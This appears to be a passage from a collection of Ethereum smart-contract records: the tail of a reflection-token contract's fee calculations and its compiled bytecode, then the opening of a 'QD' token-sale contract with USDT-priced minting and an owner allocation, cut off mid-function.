/**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]); return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) { uint256[5] memory _localVal; _localVal[0]/**supply*/ = tAmount.div(100).mul(0); _localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0); _localVal[2]/**tholder*/ = tAmount.div(100).mul(1 ); _localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(15); _localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]); return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurnValue = tBurnValue.mul(currentRate); uint256 rLiqidity = tLiquidity.mul(currentRate); uint256 rTax = tTax.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity); return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b80632d838119116100ff5780632d838119146102f3578063313ce5671461033557806339509351146103565780633c9f861d146103ba5780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806318160ddd1461025157806323b872dd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610938565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109da565b60405180821515815260200191505060405180910390f35b6102596109f8565b6040518082815260200191505060405180910390f35b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0e565b60405180821515815260200191505060405180910390f35b61031f6004803603602081101561030957600080fd5b8101908080359060200190929190505050610ae7565b6040518082815260200191505060405180910390f35b61033d610b6b565b604051808260ff16815260200191505060405180910390f35b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b82565b60405180821515815260200191505060405180910390f35b6103c2610c35565b6040518082815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c3f565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d06565b6040518082815260200191505060405180910390f35b610486610df1565b005b610490610f77565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610fa0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611042565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110f565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112d565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611524565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061172f565b005b60006107af611ab9565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806137fb602c913960400191505060405180910390fd5b600061085f83611ac1565b5050505050505090506108ba81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091281600654611cfd90919063ffffffff16565b60068190555061092d83600754611d4790919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b5050505050905090565b60006109ee6109e7611ab9565b8484611dcf565b6001905092915050565b60006d314dc6448d9338c15b0a00000000905090565b6000610a1b848484611fc6565b610adc84610a27611ab9565b610ad78560405180606001604052806028815260200161376160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a8d611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f9092919063ffffffff16565b611dcf565b600190509392505050565b6000600654821115610b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806136ce602a913960400191505060405180910390fd5b6000610b4e6124df565b9050610b63818461250a90919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2b610b8f611ab9565b84610c268560036000610ba0611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b611dcf565b6001905092915050565b6000600754905090565b60006d314dc6448d9338c15b0a00000000831115610cc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610ce7576000610cd584611ac1565b50505050505050905080915050610d00565b6000610cf284611ac1565b505050505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610da157600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dec565b610de9600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b90505b919050565b610df9611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110385780601f1061100d57610100808354040283529160200191611038565b820191906000526020600020905b81548152906001019060200180831161101b57829003601f168201915b5050505050905090565b600061110561104f611ab9565b84611100856040518060600160405280602581526020016138276025913960036000611079611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f9092919063ffffffff16565b611dcf565b6001905092915050565b600061112361111c611ab9565b8484611fc6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611212611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561146657611422600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61152c611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611672576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806136f86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611737611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c726561647920696e636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611ab5578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611aa85760056001600580549050038154811061194657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061197e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a6e57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611ab5565b80806001019150506118b9565b5050565b600033905090565b600080600080600080600080611ad5613665565b611ade8a612554565b856000600c8110611aeb57fe5b60200201866001600c8110611afc57fe5b60200201876002600c8110611b0d57fe5b60200201886008600c8110611b1e57fe5b6020020189600a600c8110611b2f57fe5b6020020185815250858152508581525085815250858152505050505050611b546124df565b816003600c8110611b6157fe5b602002018181525050611bcd8a826001600c8110611b7b57fe5b6020020151836003600c8110611b8d57fe5b6020020151846002600c8110611b9f57fe5b6020020151856008600c8110611bb157fe5b602002015186600a600c8110611bc357fe5b6020020151612769565b866004600c8110611bda57fe5b60200201876005600c8110611beb57fe5b60200201886006600c8110611bfc57fe5b60200201896007600c8110611c0d57fe5b602002018a6009600c8110611c1e57fe5b602002018b600b600c8110611c2f57fe5b60200201868152508681525086815250868152508681525086815250505050505050806004600c8110611c5e57fe5b6020020151816005600c8110611c7057fe5b6020020151826006600c8110611c8257fe5b6020020151836000600c8110611c9457fe5b6020020151846001600c8110611ca657fe5b6020020151856002600c8110611cb857fe5b6020020151866008600c8110611cca57fe5b602002015187600a600c8110611cdc57fe5b60200201519850985098509850985098509850985050919395975091939597565b6000611d3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061241f565b905092915050565b600080828401905083811015611dc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137d76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061371e6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561204c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806137b26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806136ab6023913960400191505060405180910390fd5b6000811161212b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806137896029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121ce5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121e3576121de838383612859565b61241a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122865750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229b57612296838383612abc565b612419565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561233f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123545761234f838383612d1f565b612418565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123f65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561240b57612406838383612eed565b612417565b612416838383612d1f565b5b5b5b5b505050565b60008383111582906124cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612491578082015181840152602081019050612476565b50505050905090810190601f1680156124be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006124ec6131e5565b91509150612503818361250a90919063ffffffff16565b9250505090565b600061254c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506134a6565b905092915050565b6000806000806000612564613688565b61258b600061257d60648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160006005811061259857fe5b6020020181815250506125c860006125ba60648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b816001600581106125d557fe5b60200201818152505061260560016125f760648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160026005811061261257fe5b602002018181525050612642600f61263460648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160036005811061264f57fe5b6020020181815250506126e58160036005811061266857fe5b60200201516126d78360006005811061267d57fe5b60200201516126c98560016005811061269257fe5b60200201516126bb876002600581106126a757fe5b60200201518e611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b816004600581106126f257fe5b6020020181815250508060046005811061270857fe5b60200201518160026005811061271a57fe5b60200201518260016005811061272c57fe5b60200201518360006005811061273e57fe5b60200201518460036005811061275057fe5b6020020151955095509550955095505091939590929450565b60008060008060008060006127878b8e61356c90919063ffffffff16565b9050600061279e8c8e61356c90919063ffffffff16565b905060006127b58d8d61356c90919063ffffffff16565b905060006127cc8e8c61356c90919063ffffffff16565b905060006127e38f8e61356c90919063ffffffff16565b905060006128308361282284612814886128068b8d611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b90508581868685879b509b509b509b509b509b5050505050505096509650965096509650969050565b60008060008060008060008061286e89611ac1565b975097509750975097509750975097506128d089600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061296588600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129fa87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a4a86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612ad189611ac1565b97509750975097509750975097509750612b3388600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bc885600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5d87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cad86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612d3489611ac1565b97509750975097509750975097509750612d9688600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2b87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7b86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612f0289611ac1565b97509750975097509750975097509750612f6489600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff988600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308e85600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061312387600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061317386858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b6000806000600654905060006d314dc6448d9338c15b0a00000000905060005b6005805490508110156134515782600160006005848154811061322457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061330b57508160026000600584815481106132a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561332e576006546d314dc6448d9338c15b0a00000000945094505050506134a2565b6133b7600160006005848154811061334257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611cfd90919063ffffffff16565b925061344260026000600584815481106133cd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611cfd90919063ffffffff16565b91508080600101915050613205565b506134756d314dc6448d9338c15b0a0000000060065461250a90919063ffffffff16565b821015613499576006546d314dc6448d9338c15b0a000000009350935050506134a2565b81819350935050505b9091565b60008083118290613552576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156135175780820151818401526020810190506134fc565b50505050905090810190601f1680156135445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161355e57fe5b049050809150509392505050565b60008083141561357f57600090506135ec565b600082840290508284828161359057fe5b04146135e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137406021913960400191505060405180910390fd5b809150505b92915050565b61360785600654611cfd90919063ffffffff16565b6006819055506136588161364a8461363c8761362e8a600754611d4790919063ffffffff16565b611d4790919063ffffffff16565b611d4790919063ffffffff16565b611d4790919063ffffffff16565b6007819055505050505050565b604051806101800160405280600c90602082028036833780820191505090505090565b6040518060a0016040528060059060208202803683378082019150509050509056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122011ad5bd58ef1ca96e4f6e224861318e927a88a51ac482b7bffa9b1005e05421c64736f6c634300060c0033
[ 4 ]
0xF25Ca9bcea13093c2938AB401D44Cca0fb4BEcD0
// SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "Ownable.sol"; import "ERC20.sol"; import "SafeERC20.sol"; interface Locker { // github.com/aurora-is-near/rainbow-token-connector/blob/master/erc20-connector/contracts/ERC20Locker.sol function lockToken(address ethToken, uint256 amount, string memory accountId) external; } contract QD is Ownable, ERC20 { using SafeERC20 for ERC20; // NEAR NEP-141s have this precision... uint constant internal _QD_DECIMALS = 24; uint constant internal _USDT_DECIMALS = 6; uint constant public SALE_START = 1646690400; // March 8, midnight GMT +2 uint constant public MINT_QD_PER_DAY_MAX = 500_000; // half a mil uint constant public SALE_LENGTH = 54 days; // '54 - '15, RIP uint constant public start_price = 22; // in cents uint constant public final_price = 96; // 9x6 = 54 // twitter.com/Ukraine/status/1497594592438497282 address constant public UA = 0x165CD37b4C644C2921454429E7F9358d18A45e14; address constant public locker = 0x23Ddd3e3692d1861Ed57EDE224608875809e127f; uint private_deposited; uint deposited; uint private_price; uint private_minted; // Set in constructor and never changed address immutable public usdt; event Mint (address indexed reciever, uint cost_in_usd, uint qd_amt); constructor(address _usdt) ERC20("QuiD", "QD") { private_price = 2; // 2 cents usdt = _usdt; } function mint(uint qd_amt, address beneficiary) external returns (uint cost_in_usdt, uint charity) { require(qd_amt >= 100_000_000_000_000_000_000_000_000, "QD: MINT_R1"); // $100 minimum require(block.timestamp > SALE_START && block.timestamp < SALE_START + SALE_LENGTH, "QD: MINT_R2"); if (_msgSender() == owner()) { require(private_price < start_price, "Can't allocate any more"); require(qd_amt == 2_700_000_000_000_000_000_000_000_000_000, "Wrong QD amount entered"); // owner can mint 2.7M ten times to mirror the total (500k * 54d) that public may mint cost_in_usdt = qd_amt * 10 ** _USDT_DECIMALS * private_price / 10 ** _QD_DECIMALS / 100; private_deposited += cost_in_usdt; private_minted += qd_amt; private_price += 2; } else { // Calculate cost in USDT based on current price cost_in_usdt = qd_amt_to_usdt_amt(qd_amt, 